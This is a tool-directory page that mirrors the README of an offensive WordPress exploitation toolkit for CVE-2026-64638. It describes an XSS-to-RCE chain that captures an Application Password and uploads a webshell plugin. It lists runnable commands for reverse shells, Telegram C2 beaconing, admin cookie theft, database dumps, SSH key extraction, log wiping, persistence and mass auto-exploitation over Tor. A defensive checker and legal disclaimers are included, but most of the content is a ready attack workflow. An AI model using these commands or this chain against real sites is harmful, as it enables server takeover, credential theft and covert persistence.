Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-64638-PoC-Exploit — 🛡️ CVE-2026-64638 - WordPress Security Assessment Suite (CVSS 8.9) | WordPress 4.7.0-7.0.2 pentest toolkit. Includes vulnerability assessment & advanced analysis modules. 🐍 Safe Check & Exploit, 2 mode. Advanced Blue&Red Team Best 2026-64638 Toolkit, Authorized use only. Stay Legal <3zd | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-64638-poc-exploit
Privilege EscalationVulnerability ScannersMemory ForensicsPersistence MechanismsExploitationWeb Application ExploitationPost-ExploitationPenetration TestingCommand and Control

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

🛡️ CVE-2026-64638 - WordPress Security Assessment Suite (CVSS 8.9) | WordPress 4.7.0-7.0.2 pentest toolkit. Includes vulnerability assessment & advanced analysis modules. 🐍 Safe Check & Exploit, 2 mode. Advanced Blue&Red Team Best 2026-64638 Toolkit, Authorized use only. Stay Legal <3zd

GitHubtc4dy/cve-2026-64638-poc-exploit

CVE-2026-64638-PoC-Exploit

View Repository
181 month agoNot yet reviewed
Share

CVE PoC

🌀 CVE‑2026‑64638 – WordPress XSS2Shell Security Suite

Python 3.8+ CVSS Author WordPress

⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.


📖 Vulnerability Overview

CVE‑2026‑64638 is a critical pre‑authentication reflected XSS vulnerability in WordPress core versions 4.7.0 through 7.0.2 that allows an attacker to escalate an XSS attack to full remote code execution (RCE) via the Application Password feature.

How it works

  1. Parser Differential – PHP's strip_tags() and WordPress's wp_kses_post() parse HTML tags differently, allowing malicious input to pass sanitization.
  2. Reflected XSS – an attacker injects a specially crafted payload into the login form (wp-login.php). Upon failed login, the payload is reflected back and executed in the victim's browser.
  3. Application Password Abuse – the injected JavaScript automatically generates an Application Password through the WordPress REST API, exfiltrating it to the attacker.
  4. Plugin Upload (RCE) – using the captured Application Password, the attacker authenticates to the admin panel and uploads a malicious plugin containing a webshell.
  5. Full System Compromise – the webshell provides system command execution, allowing reverse shells, persistence, lateral movement, and complete server takeover.

Affected Versions

  • WordPress 4.7.0 – 7.0.2 – vulnerable
  • WordPress 7.0.3 and later – patched
  • Security updates have been backported to all maintained branches

Patch

  • Upgrade to WordPress 7.0.3 or newer.
  • If upgrade is not possible, disable Application Password feature as a temporary workaround.

🧰 Tools

ToolPurposeIntended User
exploit.pyFull exploitation toolkit with reverse shell, persistence, C2, privilege escalation, memory forensics, database dump, SSH key extraction, and mass scanning.Red teams / authorized pentesters

📊 Feature Comparison


🎯 Use Case Summary


⚙️ Installation

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-64638-PoC-Exploit
cd CVE-2026-64638-PoC-Exploit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
#ops
pymysql
mysql-connector-python
PySocks
requests[socks]

📋 Parameters

exploit.py Parameters

safecheck.py Parameters


💥 Scenarios


📊 Interactive Shell Commands


🧪 Endpoint & API Usage

EndpointPurpose
/wp-login.phpLogin page – XSS injection point
/wp-admin/authorize-application.php

🛡️ Responsible Use

  • Only use these tools on systems you own or have explicit written permission to test.
  • Unauthorized access is illegal and unethical.
  • The authors are not responsible for any misuse.
  • Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.

Legal Compliance

Download Tool
safecheck.pyNon‑intrusive vulnerability checker that detects XSS reflection and assesses security posture without executing any malicious payload. Generates detailed reports.Blue teams / security auditors
Featureexploit.pysafecheck.py
Vulnerability detection✅✅
WordPress version detection✅✅
XSS reflection detection✅✅
Application Password capture✅❌
Plugin upload (RCE)✅❌
Reverse shell✅❌
C2 beaconing (HTTP/DNS/Telegram)✅❌
Privilege escalation✅❌
Memory forensics✅❌
Database dump✅❌
SSH key extraction✅❌
Persistence methods✅❌
Security headers audit❌✅
Config file exposure check❌✅
Directory listing check❌✅
phpinfo exposure check❌✅
Mass scanning✅✅
Proxy support✅✅
Tor support✅✅
Ngrok tunneling✅❌
Interactive shell✅❌
Non‑intrusive (safe) mode❌✅
JSON / report output✅✅
ScenarioRecommended Tool
Blue Team – verifying if your WordPress installation is vulnerablesafecheck.py
Security Audit – non‑intrusive vulnerability assessmentsafecheck.py
Red Team – authorized penetration testing with full exploitationexploit.py
Bug Bounty – responsible disclosure testingsafecheck.py
Mass Scanning – checking multiple targets for vulnerabilityexploit.py or safecheck.py
Incident Response – checking if systems are compromisedsafecheck.py
Advanced Post‑Exploitation – persistence, C2, forensicsexploit.py
ParameterDescription
-t, --targetTarget WordPress URL (e.g. https://wordpress-site.com)
-l, --listFile containing list of targets (one per line) for mass scanning
--lhostLocal IP address for reverse shell callbacks
--lportLocal port for reverse shell (default: 4444)
--proxyHTTP/HTTPS proxy (e.g. http://127.0.0.1:8080)
--timeoutRequest timeout in seconds (default: 10)
--retryNumber of retries (default: 3)
--threadsNumber of threads for mass scanning (default: 5)
--exploitAuto‑exploit vulnerable targets during mass scan
--ngrok-tokenNgrok authtoken for external tunneling
--payload-typeXSS payload type: reflected, dom_based, waf_bypass, case_manipulation, double_encoded
--session-hijackEnable session hijacking (steal admin cookies)
--dump-dbDump WordPress database (requires pymysql)
--extract-sshExtract SSH keys from the target system
--torRoute traffic through Tor (socks5h://127.0.0.1:9050)
--stealthEnable stealth mode (spoof headers, delay requests)
--no-cleanupSkip log cleanup after exploitation
--ssl-verifyVerify SSL certificates
--c2-typeC2 type: http, dns, telegram
--c2-serverC2 server URL or Telegram bot token
--auto-priv-escAuto privilege escalation after shell
--memory-forensicsEnable memory forensics module
-v, --verboseVerbose output
-q, --quietQuiet mode (minimal output)
ParameterDescription
-t, --targetTarget WordPress URL (e.g. https://wordpress-site.com)
-l, --listFile containing list of targets (one per line) for mass scanning
--timeoutRequest timeout in seconds (default: 10)
--retryNumber of retries (default: 3)
--threadsNumber of threads for mass scanning (default: 5)
--proxyHTTP/HTTPS proxy (e.g. http://127.0.0.1:8080)
--torRoute traffic through Tor (socks5h://127.0.0.1:9050)
--ssl-verifyVerify SSL certificates
--outputOutput JSON report file
-v, --verboseVerbose output
-q, --quietQuiet mode (minimal output)
#ScenarioCommand
1Quick vulnerability checkpython safecheck.py -t https://wordpress-site.com
2Detailed scan with reportpython safecheck.py -t https://wordpress-site.com --output report.json -v
3Full exploitation with reverse shellpython exploit.py -t https://wordpress-site.com --lhost 192.168.1.100 --exploit
4Use custom XSS payloadpython exploit.py -t https://wordpress-site.com --payload-type waf_bypass
5Session hijacking (steal admin cookies)python exploit.py -t https://wordpress-site.com --session-hijack
6Dump WordPress databasepython exploit.py -t https://wordpress-site.com --dump-db
7Extract SSH keyspython exploit.py -t https://wordpress-site.com --extract-ssh
8Use Tor for anonymitypython exploit.py -t https://wordpress-site.com --tor --stealth
9C2 beaconing with Telegrampython exploit.py -t https://wordpress-site.com --c2-type telegram --c2-server "https://api.telegram.org/botTOKEN/chat_id"
10Mass scanning from filepython exploit.py -l targets.txt --threads 10 --exploit
11Memory forensics after shellpython exploit.py -t https://wordpress-site.com --memory-forensics
12Auto privilege escalationpython exploit.py -t https://wordpress-site.com --auto-priv-esc
13Interactive shellpython exploit.py -t https://wordpress-site.com -i
14Ngrok tunnelingpython exploit.py -t https://wordpress-site.com --ngrok-token YOUR_TOKEN
CommandDescription
reverseStart reverse shell listener
persistApply persistence methods (cron, systemd, rc.local, SSH, WP)
cleanClean system logs and history
dumpdbDump WordPress database
sshExtract SSH keys
privAuto privilege escalation
memRun memory forensics
c2Show C2 status
c2taskCheck for C2 tasks
exitExit interactive shell
Application Password generation
/wp-admin/update.php?action=upload-pluginPlugin upload (RCE)
/wp-content/plugins/{slug}/{slug}.phpWebshell execution
CountryRelevant Law
United StatesComputer Fraud and Abuse Act (CFAA) – 18 U.S.C. § 1030
United KingdomComputer Misuse Act 1990
TurkeyTCK 243 (Unauthorized Access), TCK 244 (System Interference)
GermanyStGB § 202a (Data Espionage), § 202b (Data Interception)
FranceLoi Godfrain – Article 323-1
AustraliaCybercrime Act 2001
CanadaCriminal Code – Section 342.1
IndiaInformation Technology Act 2000 – Section 43, 66
JapanAct on Prohibition of Unauthorized Computer Access